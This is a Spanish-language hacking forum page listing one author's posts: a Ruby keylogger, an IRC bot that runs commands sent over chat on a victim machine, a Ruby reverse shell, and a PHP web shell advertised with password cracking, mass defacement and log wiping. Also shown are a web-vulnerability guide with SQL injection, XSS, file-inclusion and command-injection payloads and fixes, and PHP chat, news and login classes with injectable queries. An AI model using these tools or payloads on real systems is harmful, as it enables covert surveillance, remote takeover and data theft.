elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Introducción a Git (Primera Parte)


  Mostrar Temas
Páginas: 1 ... 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 [42] 43
411  Programación / Scripting / [Ruby] Simple Keylogger en: 7 Octubre 2011, 01:30 am
Un simple keylogger en Ruby


Código
  1. #!usr/bin/ruby
  2. #Simple Keylogger in Ruby
  3. #(C) Doddy Hackman 2011
  4.  
  5. require 'Win32API'
  6.  
  7. def savefile(filename,text)
  8. files = File.open(filename,'a')
  9. files.puts text+"\n"
  10. end
  11.  
  12. def capturar
  13.  
  14. nave = Win32API.new("user32","GetAsyncKeyState",["i"],"i")
  15.  
  16. while 1
  17.  
  18. for num1 in (0x30..0x39) #numbers
  19. if nave.call(num1) & 0x01 == 1
  20. savefile("logs.txt",num1.chr())
  21. end
  22. end
  23.  
  24. for num2 in (0x41..0x5A) #letters
  25. if nave.call(num2) & 0x01 == 1
  26. savefile("logs.txt",num2.chr())
  27. end
  28. end
  29. end
  30. end
  31.  
  32. capturar() #Start the keylogger
  33.  
  34. # ¿ The End ?
  35.  
412  Programación / Scripting / [Ruby] IRC Bot en: 7 Octubre 2011, 01:30 am
Hola a todos

Acabo de hacer un simple bot para IRC , el bot se
conecta en la maquina ejecutante (victima) con un nombre
marcado por ustedes , entonces con solo poner

cmdnow :TU COMANDO:

Recibiran en el mismo chat un mensaje con el resultado del comando puesto

El codigo es el siguiente


Código
  1. #!usr/bin/ruby
  2. #IRC Bot (C) Doddy Hackman 2011
  3.  
  4. host = "localhost"
  5. canal = "#locos"
  6. botname = "aa"
  7.  
  8. def head()
  9. print "\n\n == -- IRC BOT -- ==\n\n"
  10. end
  11.  
  12. def uso()
  13. print "\n[+] Sintax : #{$0} <host> <channel> <bot name>\n"
  14. end
  15.  
  16. def copyright()
  17. print "\n\n(C) Doddy Hackman 2011\n\n"
  18. end
  19.  
  20. def load(host,canal,botname)
  21. begin
  22. irc = TCPSocket.open(host,6667)
  23. rescue
  24. print "\n\n[-] Error\n\n"
  25. else
  26. irc.print "NICK #{botname}\r\n"
  27. irc.print "USER #{botname} 1 1 1 1\r\n"
  28. irc.print "JOIN #{canal}\r\n"
  29.  
  30. print "\n\n[+] Online\n\n"
  31.  
  32. while 1
  33.  
  34. code = irc.recv(666)
  35.  
  36. if (code=~/PING (.*)/)
  37. irc.print "PONG #{$1}\n"
  38. end
  39.  
  40. #if code=~/:(.*)!(.*):(.*)/
  41. #print "Un tal : #{$1}\n"
  42. #print "Dijo : #{$3}\n"
  43. #end
  44.  
  45. if code=~/cmdnow :(.*):/
  46. re = IO.popen($1).read
  47. re = re.gsub("\n","|")
  48. irc.print "PRIVMSG #locos : ",re,"\r\n"
  49. end
  50. end
  51. end
  52. end
  53.  
  54. head()
  55. load(host,canal,botname)
  56. copyright()
  57.  
  58.  
  59. # ¿ The End ?
  60.  
413  Programación / Scripting / [Ruby] BackShell en: 7 Octubre 2011, 01:29 am
Un reverse shell en ruby

Código
  1. #!usr/bin/ruby
  2. #Back Shell (C) Doddy HAckman 2010
  3. #Creditos : protos por darle vida a un lenguaje casi olvidado  en este mundo
  4.  
  5. require 'socket'
  6.  
  7. ip = ARGV[0]
  8. port = ARGV[1]
  9.  
  10. def uso
  11.  print "\n[+] bind.rb <ip> <port>\n"
  12. end
  13.  
  14. def  head
  15.  print "\n\n-- == ReverseShell By Doddy H == --\n\n"
  16. end
  17.  
  18. def copyright
  19.  print "\n\n(C) Doddy Hackman 2010\n\n"
  20. end
  21.  
  22.  
  23. def infowin
  24.  system("net user")
  25. end
  26.  
  27. def openwin()
  28. system("cmd.exe")
  29. end  
  30.  
  31. def infolin
  32.  system("uname -a")
  33. end
  34.  
  35. def openlin()
  36. system("export TERM=xterm;exec sh -i")
  37. end  
  38.  
  39. def now(ip,port)
  40.  print "\n\n-- == ReverseShell By Doddy H == --\n\n"
  41.  print "\n[+] Ok , enter to the system\n\n"
  42. begin
  43. backdoor = TCPSocket.new(ip,port)
  44.  $stdout.reopen(backdoor)
  45.  $stdin.reopen(backdoor)
  46.  rescue
  47.  print "\n[-] Un puto error !!\n\n"
  48.  exit(1)  
  49.  end
  50.  if RUBY_PLATFORM =~/win/
  51.   infowin()
  52.   openwin()
  53.  else
  54.   infolin()
  55.   openlin()
  56. end
  57. end
  58.  
  59.  
  60. if !ip and !port
  61. uso()
  62. else
  63.  now(ip,port)
  64. end
  65.  
  66. #The End ???
  67.  
414  Seguridad Informática / Nivel Web / [Guia] Vulnerabilidades a nivel web en: 7 Octubre 2011, 01:28 am
[Guia] Vulnerabilidades a nivel web

[Titulo] : Vulnerabilidades a nivel web
[Autor] : Doddy Hackman


[Temario]

--===================================--

0x01 : Introduccion
0x02 : SQLI
0x03 : Blind SQLI
0x04 : HTML Injection
0x05 : XSS
0x06 : RFI
0x07 : LFI
0x08 : Remote code Execution
0x09 : Full Path Discloure
0x10 : Full Source Discloure
0x11 : PHP Injections

--===================================--


0x01 : Introduccion


Hola a todos.

Eh empezado a hacer esta simple guia donde detallo de forma minima las vulnerabilidades mas comunes
a nivel web , en cada vulnerabilidad solo explicare como se produce y como arreglarlo , pero
no voy a ampliar demasiado en tecnias de cada una
Cualquier error en la guia deben decirmelo para aprender de mis errores


0x02 : SQLI

Las injecciones SQL son una de las vulnerabilidades mas usadas debido a que es una de las faciles de explotar cuando estas
son encontradas.
La injecciones SQL se producen cuando se incluye en una sentencia SQL una variable que no esta filtrada , entonces
mediante la variable mal filtrada vamos a poder codigo que nos puedan ayudar
a sacar columnas , extraer tablas y columnas , datos y todo eso.........

Un ejemplo de este tipo de vulnerabilidad

Código:
<title>LABS SQL INYECTION</title>

<STYLE type="text/css">

body {
background-color: #000000;
color:orange;
font-family:
Courier New;
cursor:crosshair;
font-size: small;
}
</style>

<center><h1><font color=green>LABS SQL INYECTION</font></h1><br><br><br>

<?php

$host = 'localhost';
$user = 'root';
$datos = 'users';

$conexion = mysql_connect($host, $user);
mysql_select_db($datos,$conexion);



if (isset($_GET['id'])) {
$id = $_GET['id'];
}

if(empty($id)){
$id = "1";
}

$sql = mysql_query("SELECT * FROM `hackers` WHERE id=".$id) or die (mysql_error());

$resultado = mysql_fetch_row($sql);

echo "<h3><b>id: </font>".$resultado[0]."<br>";
echo "user: </font>".$resultado[1]."<br>";
echo "pass: </font>".$resultado[2]."</b></h3><br>";

mysql_close($conexion);

?>

Como ven , la funcion mysql_query() usa un sentencia que posee la variable $id , como la variable
$id no esta filtrada o protegida , se puede insertar codigo de la siguiente manera

Código:
http://127.0.0.1/sql.php?id= ¿AQUI?

A partir del id podemos poner el codigo para ver si es vulnerable o no porque id es la variable mal
filtrada

Para saber si es vulnerable podemos poner un ' en el contenido de id

Si el resultado de la pagina es algo como mysql error bla bla

Es porque es vulnerable

Una forma de protegerse de este ataque es verificar que $id sea un numero y no codigo raro para modificar
la sentencia SQL


Código:

if (!is_numeric($_GET['id'])) {
echo "no me jodas !!!<br>";
exit(1);
}


Como vemos usamos is_numeric para la verificacion , pero usamos este para verificar que si $id no es un numero , este  nos avise y
nos diga no me jodas !!!

0x03 : Blind SQLI

Las Blind SQLI vienen de la misma vulnerabilidad que las SQLI , pero en este caso el admin
usa @ en las funciones para la conexion con la DB o error_reporting en 0 para que
no tire errores. Un grave error pues asi esta provocando las conocidas Blind SQLI

Un ejemplo de pagina vulnerable seria este

Código:
<title>LABS SQL INYECTION</title>

<STYLE type="text/css">

body {
background-color: #000000;
color:orange;
font-family:
Courier New;
cursor:crosshair;
font-size: small;
}
</style>

<center><h1><font color=green>LABS SQL INYECTION</font></h1><br><br><br>

<?php

$host = 'localhost';
$user = 'root';
$datos = 'hackman';

$conexion = mysql_connect($host, $user,"123");
mysql_select_db($datos,$conexion);



if (isset($_GET['id'])) {
$id = $_GET['id'];
}

if(empty($id)){
$id = "1";
}

$sql = @mysql_query("SELECT * FROM `hackers` WHERE id=".$id);

$resultado = @mysql_fetch_row($sql);

echo "<h3><b>id: </font>".$resultado[0]."<br>";
echo "user: </font>".$resultado[1]."<br>";
echo "pass: </font>".$resultado[2]."</b></h3><br>";

mysql_close($conexion);

?>

como ven usamos @ para evitar errores las funciones mysql_query() y mysql_fetch_row()

Entonces para comprobar que si la pagina es vulnerable a Blind SQLI podemos poner asi en
la parte de id

Código:
http://127.0.0.1/sql.php?id=1+and+1=1

Código:
http://127.0.0.1/sql.php?id=1+and+1=0

Si en el primer link devuelve un resultado positivo y en el segundo negativo (no muestra nada)

Una forma de arreglar esta vulnerabilidad seria la  misma que la de SQLI


Código:

if (!is_numeric($_GET['id'])) {
echo "no me jodas !!!<br>";
exit(1);
}



0x04 : HTML Injection


Las HTML Injection son conocidas como las vulnerabilidades mas idiotas y faciles de hacer , pero
, ¿los que dicen eso saben como se produce y como se arregla ? ,de ese estoy seguro que no .

Esta vulnerabilidad se produce normalmente en los libros de visitas cuando se deja un comentario y
se lo muestra en pantalla

Un ejemplo seria este


Código:

<?php

echo "

<form action='' method=POST>
<input type=text name=mensaje>
<input type=submit value=Mostrar>
</form>

";

if (isset($_POST['mensaje'])) {
echo $_POST['mensaje'];
}

?>


Si queremos probar si la pagina padece de esta vulnerabilidad solo tendriamos que poner algo de
codigo html

Si ponemos "<h1>hola</h1>" y se muestra como tal es porque es vulnerable

La forma de protegerse es facil solo filtras las variables para protegerse

Para hacer esto podemos usar htmlentities() o htmlspecialchars() , usen la que quieran pues las
dos protegen

Código:

<?php

echo "

<form action='' method=POST>
<input type=text name=mensaje>
<input type=submit value=Mostrar>
</form>

";

if (isset($_POST['mensaje'])) {

echo htmlentites($_POST['mensaje']);
}

?>


0x05 : XSS

Bueno , XSS es una vulnerabilidad conocida y util a la hora de robar cookies , la vulnerabilidad se
produce cuando se muestra una variable mal filtrada

Código:

<?php

echo "

<form action='' method=GET>
<input type=text name=msg>
<input type=submit value=Mostrar>
</form>

";

if (isset($_GET['msg'])) {

echo $_GET['msg'];
}

?>



Para ver si es vulnerable podemos ejecutar el siguiente link con el siguiente codigo

Código:
<script>alert("hola");</script>

Código:
http://127.0.0.1/xss.php?msg=<script>alert("hola");</script>

Como ven la variable msg es enviada por metodo GET  , la variable no es protegida y es
mostrada tal cual

Una forma de reparar es usar como htmlentities() o htmlspecialchars()

Código:
<?php 

echo "

<form action='' method=GET>
<input type=text name=msg>
<input type=submit value=Mostrar>
</form>

";

if (isset($_GET['msg'])) {

echo htmlspecialchars($_GET['msg']);
}

?>

0x06 : RFI

Bueno , el viejo RFI , esta vulnerablidad es muy conocida , se trata de un mal uso de la funcion
include() y una mala configuracion de la variable allow_url_include estando On en php.ini

Un ejemplo seria este


Código:
<?php 

if (isset($_GET['car'])) {
include($_GET['car']);
}

?>

Como ven , si queremos saber si la  pagina es vulnerable a RFI  podemos hacer asi

Código:
http://127.0.0.1/rfi.php?car=http://www.google.com.ar

Y si la pagina muestra la pagina de google es porque la pagina es vulnerable a RFI

Una forma de protegerse RFi seria usando un control en la variable "car" de la siguiente forma

Código:

if (isset($_GET['car'])) {

if ($_GET['car'] == "veo") {
include("veo.php");
}

elseif($_GET['car'] == "noveo") {
include("noveo.php");
}
else {
echo "no intentes cosas raras xDDD";
}
}


0x07 : LFI

Bueno , el conocido LFI ,es parecido a RFI , pero este solo ejecuta archivos a nivel local y no remoto como RFI

Un ejemplo de pagina vulnerable seria asi

Código:
<?php 

if (isset($_GET['car'])) {
include($_GET['car']);
}

?>

Para saber si es vulnerable podemos cargar la variable car con un '  de la siguiente manera

Código:
http://127.0.0.1/lfi.php?car='

Y si nos devuelve algo asi

Código:
Warning: include(') [function.include]: failed to open stream: No such file or directory in C:\xampp\htdocs\666.php on line 4

Es porque es vulnerable xDDD

Para protegernos de esta vulnerabilidad seria de la misma forma que RFI


Código:

if (isset($_GET['car'])) {

if ($_GET['car'] == "veo") {
include("veo.php");
}

elseif($_GET['car'] == "noveo") {
include("noveo.php");
}
else {
echo "no intentes cosas raras xDDD";
}
}


0x08 : Remote code Execution

Esta vulnerabilidad no es muy conocida , se trata de poder ejecutar comandos en la maquina atacada
sin necesidad de crear una shell.

Entonces un ejemplo de pagina vulnerable seria esta.

Código:
<?php

echo "

<form action='' method=POST
<input type=text name=cmd>
<input type=submit value=mandar>
</form>

";

if (isset($_POST['cmd'])) {
system("ping ".$_POST['cmd']);
}



?>

Como ven la pagina hace un comando ping con system() a la ip marcada por ustedes

Entonces que pasa si ponemos una ip cualquiera

Pues nada solo hace un ping a la ip que pusieron

Entonces si ponemos esto

Código:
ip && ver

El servidor nos devolveria el resultado de el comando ping con un extra xDDD
Pues si estamos viendo la version del SO
Entonces la explicacion es simple solo ponemos && para agregar un comando siempre cuando la ip
que pusieron anteriormente era  real y el ping se mostro correctamente

Entonces si queremos arreglar esta vulnerabilidad tenemos que reemplazar toda cosa rara en la variable
de "cmd"

Quedando el codigo de la siguiente manera

Código:
<?php

echo "

<form action='' method=POST
<input type=text name=cmd>
<input type=submit value=mandar>
</form>

";

if (isset($_POST['cmd'])) {

$cmd = $_POST['cmd'];

$cmd = str_replace("&&", "", $cmd);
$cmd = str_replace(";", "", $cmd);
$cmd = str_replace("-", "", $cmd);
$cmd = str_replace("?", "", $cmd);
$cmd = str_replace("||", "", $cmd);
$cmd = str_replace("|", "", $cmd);
$cmd = stripslashes($cmd);

system("ping ".$cmd);

}



?>

0x09 : Full Path Discloure

Esta vulnerabilidad se produce cuando se produce un error , tanto como un error en el resultado de la funcion que estamos
usando como la sintasis usada en la misma

Un ejemplo seria este

Código:
<?php
if (isset("no se nada de php")) {

}
?>

Que feo programo xDDD

Entonces el error que nos devuelve seria este

Código:
Parse error: syntax error, unexpected T_CONSTANT_ENCAPSED_STRING in C:\xampp\htdocs\666.php on line 2

Como vemos nos devuelve el directorio actual donde se ejecuta el archivo php , esto es lo que se llama
full path discloure

Esta vulnerabilidad tambien aparece en SQL y LFI , cuando poniamos la comilla ' el resultado de include() y mysql_query()
En el caso del segundo era una full path discloure ademas de estar indicando que la pagina realmente era vulnerable a SQL
En el caso del primero tambien se debia al mal uso de la funcion include() devolviendonos un error con un full path
discloure

0x10 : Full Source Discloure

Bueno , esta vulnerabilidad nos permite descargar archivos de un servidor web debido a que no
filtra las variables

Un ejemplo seria este

Código:

if (isset($_GET['down'])) {
header("Content-Type: application/octet-stream");
header("Content-Disposition: attachment; filename=".basename($_GET['down']));
readfile($_GET['down']);
}

Entonces si ponemos la ruta que queremos en la variable "down" estamos hecho.
Un ejemplo de uso seria este

Código:
http://127.0.0.1/down.php?down=c:/secretos.txt

Y con eso descargariamos el archivo secreto si es que existe xDDD

Entonces una forma de evitar esta vulnerabilidad seria usando una DB , que contenga una tabla
con los links de descarga , entonces una vez que se detecte la variable down se verificaria que fuera
un numero de lo contrario chau xDDD

0x11 : PHP Injections

Bueno , la php injections suelen suceder cuando usa la funcion eval().
La funcion eval() nos permite ejecutar codigo php

Un ejemplo de esta vulnerabildad seria este

Código:
<?php

if (isset($_GET['te'])) {
eval($_GET['te']);
}

?>

Como ven , es un caso muy raro y especial en cierto sentido xDDD

Entonces si ejecutamos este link

Código:
http://127.0.0.1/php?te=echo "hola mundo";

Si vemos en la pantalla , este link nos devuelve hola mundo , creo que es obvio que es vulnerable

Una forma de protegerse seria no usar eval()

--========--
¿ The End ?
--========--
415  Programación / PHP / [PHP] Simple Chat By Doddy H en: 7 Octubre 2011, 01:26 am
Como dice el titulo , es un simple chat que se divide en 3 partes

install.php

Código:
<?php

//Datos para la DB

$host = "localhost";
$user = "root";
$pass = "";
$db = "chat";

echo "
<title>Instalacion de mini chat</title>
<br><br><b>Seguro que desea instalar mini chat</b><br><br>
<form action='' method=POST>
<input type=submit name=instalar value=Instalar>
</form>
<br><br>";


if (isset($_POST['instalar'])) {

if (mysql_connect($host,$user,$pass)) {

$todo2 = "create table $db.mensajes (
id_comentario int(10) UNSIGNED NOT NULL AUTO_INCREMENT,
mensaje TEXT NOT NULL,
apodo VARCHAR(255) NOT NULL,
PRIMARY KEY (id_comentario));
";


if (@mysql_query($todo1)) {
echo "1";
if (@mysql_query($todo2)) {
echo "chat instalado<br>";
}
} else {
echo "error en la instalacion<br>";
}
} else {
echo "error en la conexion con la db<br>";
}
}

?>

admin.php

Código:
<?php

$host = "localhost";
$user = "root";
$pass = "";

$usera = "test";
$passa = "test";

if (isset($_GET['user'])) {

if ($_GET['user'] == $usera) {
if ($_GET['pass'] == $passa) {

@mysql_connect($host,$user,$pass);

$re = @mysql_query("select * from chat.mensajes");

if (is_numeric($_GET['id'])) {
if (@mysql_query("delete from chat.mensajes where id_comentario='".$_GET['id']."'")) {
echo "<script>alert('Comentario borrado');</script>";
}
}


while ($ver = @mysql_fetch_array($re)) {
echo "<a href=?user=".$usera."&pass=".$passa."&id=".$ver[0].">Borrar comentario ".$ver[0]."</a><br>";
}

}
}


}

?>

index.php

Código:
<?php

$db = "chat"; //
$host = "localhost";
$user = "root";
$pass = "";

echo "
<style>

.main {
word-wrap: break-word;
word-break:break-all;
margin : -287px 0px 0px -490px;
border : White solid 1px;
BORDER-COLOR: #00FF00;
}

td,body {
background-color:black;color:#00FF00;
}


input,textarea,select {
font: normal 10px Verdana, Arial, Helvetica,
sans-serif;
background-color:black;color:#00FF00;
border: solid 1px #00FF00;
border-color:#00FF00
}

</style>";

mysql_connect($host,$user,$pass);
mysql_select_db($db);

echo "<table border=0 width='300' style='table-layout: fixed'>";
echo "<td class=main><b>Mini Chat 0.2</b></td><tr>";


$sumo = mysql_query("SELECT MAX(id_comentario) FROM $db.mensajes");

$s = mysql_fetch_row($sumo);

foreach ($s as $d) {
$total = $d;
}

$test = $total - 10;

if ($test <= 0) {
next;
} else {
$resto = $test;

for ($i = 1; $i <= $resto; $i++) {
@mysql_query("DELETE FROM $db.mensajes where id_comentario='$i'");
}

}


$re = @mysql_query("select * from $db.mensajes order by id_comentario DESC");

while ($ver = @mysql_fetch_array($re)) {
echo "<td class=main><b>".$ver[2]."</b>:".$ver[1]."</td><tr>";
}


echo "<br><br><td class=main><br><b>Dejar mensaje</b><br><br>
<form action='' method=POST>
Apodo : <input type=text name=apodo size=25><br>
Texto : <input type=text name=msg size=25><br><br>
<input type=submit name=chatentro value=Mandar>
</form>
<td><tr>
<td class=main><b>Coded By Doddy H</b></td><tr>
</table>";


if (isset($_POST['chatentro'])) {

$sumo = mysql_query("SELECT MAX(id_comentario) FROM $db"."."."mensajes");

$s = mysql_fetch_row($sumo);

foreach ($s as $d) {
$x_id = $d+1;
}

$apodo = htmlentities(addslashes($_POST['apodo']));
$mensaje  = htmlentities(addslashes($_POST['msg']));

$apodo = substr($apodo,0,70);
$mensaje = substr($mensaje,0,70);

$insultos = array("lammer","lamer","puto","noob");

foreach ($insultos as $con) {
$mensaje = str_replace($con,"#$!*",$mensaje);
$apodo = str_replace($con,"#$!*",$apodo);
}

@mysql_query("INSERT INTO $db"."."."mensajes"."("."id_comentario".","."apodo".","."mensaje".")values('".$x_id."','".$apodo."','".$mensaje."')");

echo '<meta http-equiv="refresh" content=0;URL=>';

}

?>

Esa serian las tres partes , el chat tiene las siguientes opciones

  • Solo permite 10 mensajes por lo que borra por antiguedad
  • Filtra malas palabras

Eso seria todo

Cualquier vulnerabilidad la reportan

416  Programación / PHP / [PHP Shell] Poison Shell 1.0 en: 7 Octubre 2011, 01:26 am
Aca les traigo la nueva version de mi phpshell


-- == Mejoras == --

  • Deteccion de archivo /etc/passwd o SAM para descargar
  • Cracker para FTP Y Mysql
  • PortScanner
  • MailBomber para varios emails
  • Posibilidad de buscar kernel en DB Exploit
  • ProxyWeb
  • Encode para md5,sha1,crc32
  • Mejoras de diseño
  • login y pass de la shell cifrado en md5

-- == Funciones == --

  • Informacion : sobre el servidor web
  • Navegacion de archivos y directorios :

* En esta opcion pueden editar , borrar ,renombrar y descargar archivos
* Tambien podes crear directorios nuevos

  • Ejecutar comandos
  • Subir archivos a un directorio especifico
  • Base64 encode() decode()
  • Ejecutar codigo php con eval()
  • Cargar phpinfo()
  • Crackear hash md5 con salto o sin salto
  • BackShell : en esta version solo esta un reverse shell en perl hecho por mi
  • MassDefacement : masivo deface a un directorio y todos sus subdirectorios que le sigan
  • CleanLogs : limpia logs de linux
  • FTP

* Crear directorios nuevos
* Este cliente FTP permite navegar a traves de los directorios y archivos
* Borrar archivos
* Cambiar permisos de archivos
* Descargar archivos

  • SQL Manager

* Podes navegar a traves de la base datos podiendo ver todas
las bases de datos y tablas activas
* Ejecutar sentencias SQL
* Descargar tablas
* Descargar bases de datos

  • Cookies Manager

* En esta opcion podemos ver todos los cookies activos
* Podemos crear un cookie con el valor que queremos

  • Session Manager

* En esta opcion podemos ver todas las sesiones activas
* Podemos crear una sesion con el valor que queremos


  • Shell Protegida con user y pass
  • Autodestruccion de la shell


El codigo de la shell esta en pastebin

Código:
http://pastebin.com/FM7j0w7N

Cualquier sugerencia o error digamenlo para mejorar


Una imagen


417  Programación / PHP / [PHP Class] Noticion 0.9 en: 7 Octubre 2011, 01:22 am
Bueno , en esta version le quite esa opcion de usar bases de datos que era innecesaria debido que
no se puede tener varias , gran error mio pero gracias por decirmelo , en esta version le quite algunas cosas
que no hacian falta y modifique el uso de bases de datos por tablas

Para realizar la conexion usamos

Código:
datos($host,$user,$pass,$db)

Para crear una nueva categoria usamos

Código:
crearcategoria($nuevacategoria)

Para borrar una categoria usamos

Código:
eliminarcategoria($eliminarcategoria)

Para devolver un array con todas las categorias disponibles usamos

Código:
listarcategorias()

Para crear una nueva noticia usamos

Código:
nuevo($x_titulo,$x_contenido,$x_fecha,$categoria)

Para modificar el contenido usamos

Código:
mod($categoria,$id,$tit,$con,$fech)

Para borrar una noticia usamos

Código:
eliminar($id,$categoria)

Para poder ver el contenido de una noticia usamos

Código:
vereste($id,$categoria)

Para recibir una lista de todas las noticias usamos

Código:
vertodo($categoria)

Para crear un comentario usamos

Código:
crearcomentario($categoria,$id_noticia,$fecha,$apodo,$mensaje)

Para modificar el contenido de un comentario usamos

Código:
modcomentario($categoria,$id,$fecha,$apodo,$contenido)

Para ver el contenido de un comentario usamos

Código:
vercomentarios($categoria,$id)

Para borrar un comentario

Código:
borrarcomentario($categoria,$id)

Para cerrar la conexion con el servidor mysql usamos

Código:
close()


Código:
<?php

/*

Noticion 0.9

(c) DOddy Hackman 2011

*/


class noticion {

private $db;

public function datos($host,$user,$pass,$db) {

$this->db = $db;

if (@mysql_connect($host,$user,$pass)) {
if (@mysql_select_db($db)) {
return true;
}
}
}

public function crearcategoria($nuevacategoria) {

$todo1 = "create table categoria_$nuevacategoria (
id int(10) UNSIGNED NOT NULL AUTO_INCREMENT,
titulo VARCHAR(255) NOT NULL,
contenido TEXT NOT NULL,
fecha VARCHAR(255) NOT NULL,
PRIMARY KEY (id));
";

$todo2 = "create table comentarios_$nuevacategoria (
id_noticia int(10),
id_comentario int(10) UNSIGNED NOT NULL AUTO_INCREMENT,
mensaje TEXT NOT NULL,
apodo VARCHAR(255) NOT NULL,
fecha VARCHAR(255) NOT NULL,
PRIMARY KEY (id_comentario));
";

if (@mysql_query($todo1)) {
if (@mysql_query($todo2)) {
return true;
}
}
 
}

public function eliminarcategoria($eliminarcategoria) {

if (@mysql_query("DROP TABLE categoria_$eliminarcategoria")) {
if (@mysql_query("DROP TABLE comentarios_$eliminarcategoria")) {
return true;
}

}
}


public function eliminar($id,$categoria) {
if (is_numeric($id)) {
if (@mysql_query("DELETE FROM categoria_$categoria where id='$id'")) {
return true;
}
}
}

public function nuevo($x_titulo,$x_contenido,$x_fecha,$categoria) {
$sumo = mysql_query("SELECT MAX(id) FROM categoria_$categoria");

$s = mysql_fetch_row($sumo);

foreach ($s as $d) {
$x_id = $d+1;
}
if (@mysql_query("INSERT INTO categoria_$categoria(id,titulo,contenido,fecha)values('$x_id','$x_titulo','$x_contenido','$x_fecha')")) {
return true;
}
}

public function vereste($id,$categoria) {
if (is_numeric($id)) {
$total = array();
if ($que = @mysql_query("SELECT id,titulo,contenido,fecha FROM categoria_$categoria WHERE id='$id'")) {
while ($ver = @mysql_fetch_array($que)) {
return array($ver[0],$ver[1],$ver[2],$ver[3]);
}
}
}
}

public function listarcategorias() {

$found = array();

if ($re = @mysql_query("show tables from ".$this->db)) {

while($dat = mysql_fetch_row($re)) {
$separo = split("_",$dat[0]);
array_push($found,$separo[1]);
}
return array($found);
}

}

public function vertodo($categoria) {
$total = array();
if ($que = @mysql_query("SELECT id,titulo,contenido,fecha FROM categoria_$categoria")) {
while ($ver = @mysql_fetch_array($que)) {
array_push($total,$ver);
}
return array($total);
}
}

public function mod($categoria,$id,$tit,$con,$fech) {
if (@mysql_query("UPDATE categoria_$categoria SET id='$id',titulo='$tit',contenido='$con',fecha='$fech' where id='$id'")) {
return true;
}
}

public function crearcomentario($categoria,$id_noticia,$fecha,$apodo,$mensaje) {

$sumo = mysql_query("SELECT MAX(id_comentario) FROM comentarios_$categoria");

$s = mysql_fetch_row($sumo);

foreach ($s as $d) {
$x_id = $d+1;
}

if (mysql_query("INSERT INTO comentarios_$categoria(fecha,apodo,mensaje,id_noticia,id_comentario)values('$fecha','$apodo','$mensaje','$id_noticia','$x_id')")) {
return true;
}

}

public function modcomentario($categoria,$id,$fecha,$apodo,$contenido) {
if (@mysql_query("UPDATE comentarios_$categoria SET id_comentario='$id',fecha='$fecha',apodo='$apodo',mensaje='$contenido' where id_comentario='$id'")) {
return true;
}
}

public function vercomentarios($categoria,$id) {
$todo = array();
if ($ver = @mysql_query("SELECT id_noticia,id_comentario,apodo,mensaje,fecha FROM comentarios_$categoria")) {
while ($que = @mysql_fetch_array($ver)) {
if ($que[0] == 1) {
array_push($todo,$que);
}
}
return array($todo);
}

}


public function borrarcomentario($categoria,$id) {
if (is_numeric($id)) {
if (@mysql_query("DELETE FROM comentarios_$categoria where id_comentario='$id'")) {
return true;
}
}
}


public function close() {
$test->close;
}


}

?>

Ejemplos de usos


Código:
<?php

include_once("noticion.php");

$name = New noticion;

if ($name->datos("localhost","root","","test")) {
echo "conexion abierta<br>";

//$name->crearcategoria("py");

//if ($name->borrarcomentario("perl","1")) {
//echo "ok";
//}


//$name->modcomentario("perl","2","a","a","a");

list($recibo) = $name->vercomentarios("perl","1");

echo count($recibo)."<BR><BR>";

foreach($recibo as $a) {
echo $a[2]."<br>";
}


//$name->crearcomentario("perl","1","1","1","1");


//if ($name->nuevo("aa","aa","aa","perl")) {
//echo "ok";
//}

//$ver = $name->vereste("1","perl");

//echo $ver[0];

//$name->mod("perl","3","cambie","cambie","cambie");

//$re = $name->listarcategorias();

//$name->eliminar("5","perl");


//list($re) = $name->vertodo("perl");

//foreach ($re as $r) {
//echo $r[0]."<br>";
//echo $r[1]."<br><br>";
//}


//$name->crearcategoria("perl");

//foreach($t as $veo) {
//echo $veo[id]."<br>";
//}

$name->eliminarcategoria("py");
}


Culquier error , vulnerabilidad o mejorar deben decirlas para mejorar esta clase
418  Programación / PHP / [PHP Class] Loginow 0.2 By Doddy H en: 7 Octubre 2011, 01:21 am
Hola a todos.

Acabo de hacer mi primer clase en PHP , esta sirve
para realizar logins a webs con las sig opciones


 * extrae valores del formulario para realizar la verificacion
 * login mediante DB
 * login mediante una contraseña md5 marcada por ustedes
 * Si el login es exitoso crea una cookie

No eh alcando a probarla hasta fondo
Pero  aca tienen un ejemplo de como usarla


test.php

Código:

include_once("loginow.php");

if (isset($_POST['mandar'])) {
$nave = new loginow;
$nave->campos("usuario","password");
//if ($nave->secure("admin","098f6bcd4621d373cade4e832627b4f6")) {
if ($nave->database("localhost","root","","hackman","hackers","usuario","password")) {
$nave->cookienow("login");
echo "login correcto";
} else {
echo "Error en el login";
exit(1);
}
} else {
echo "
<form action='' method=POST>
Usuario : <input type=text name=usuario value=admin><br>
Password : <input type=text name=password value=test><br>
<input type=submit name=mandar value=mandar></form>";
}

Como ven usamos las funciones

campos(); # ponemos los nombres de las casillas user y pass para realizar la verificacion
secure(); #establecemos esta funcion para verificar mediante user y pass establecidos por nosotros
database(); #ponemos los datos de la DB y sus columnas para realizar la verificacion , claro la clase solo se basara en el primer casillero


loginow.php

Código:
<?php

/*

Simple Class for login of the webs

(c) DOddy Hackman 2010


*/

class loginow {

private $host;
private $db;
private $user;
private $pass;
private $tabla;
private $columna1;
private $columna2;
private $usereal;
private $passreal;
private $campouser;
private $campopass;
private $cookiename;

public function campos($campouser,$campopass) {
if (isset($_POST[$campouser])) {
$this->campouser = $_POST[$campouser];
$this->campopass = md5($_POST[$campopass]);
} else {
$this->campouser = $campouser;
$this->campopass = $campopass;
}
}

public function database($host,$dbuser,$dbpass,$db,$tabla,$columna1,$columna2) {
mysql_connect($host,$dbuser,$dbpass);
mysql_select_db($db);
$que = mysql_query("SELECT * FROM ".$tabla);
while ($test = mysql_fetch_array($que)) {
if ($this->campouser == $test[$columna1] and $this->campopass == $test[password]) {
$this->usereal = $test[$columna1];
$this->passreal = $test[$columna2];
return true;
}
}
}

public function secure($user,$pass) {
if ($this->campouser == $user and $this->campopass == $pass) {
$this->usereal = $user;
$this->passreal = $pass;
return true;
} else {
return false;
}
}

public function cookienow($cookiename) {
setcookie($cookiename,base64_encode($this->usereal."@".$this->passreal));
}

}

?>

Caulquier mejora , fallo o vulnerabilidad encontrada deben decirmelo para mejorar

419  Programación / PHP / [PHP Class] Get Info By Doddy H en: 7 Octubre 2011, 01:21 am
Bueno , esto no es nada del otro mundo , solo una simple clase que te da informacion sobre el visitante

Código:
<?php 

/*

Simple Class GetInfo

By Doddy Hackman

*/


class getinfo {


public function ip() {
return htmlentities($_SERVER['SERVER_ADDR']);
}

public function navegador() {

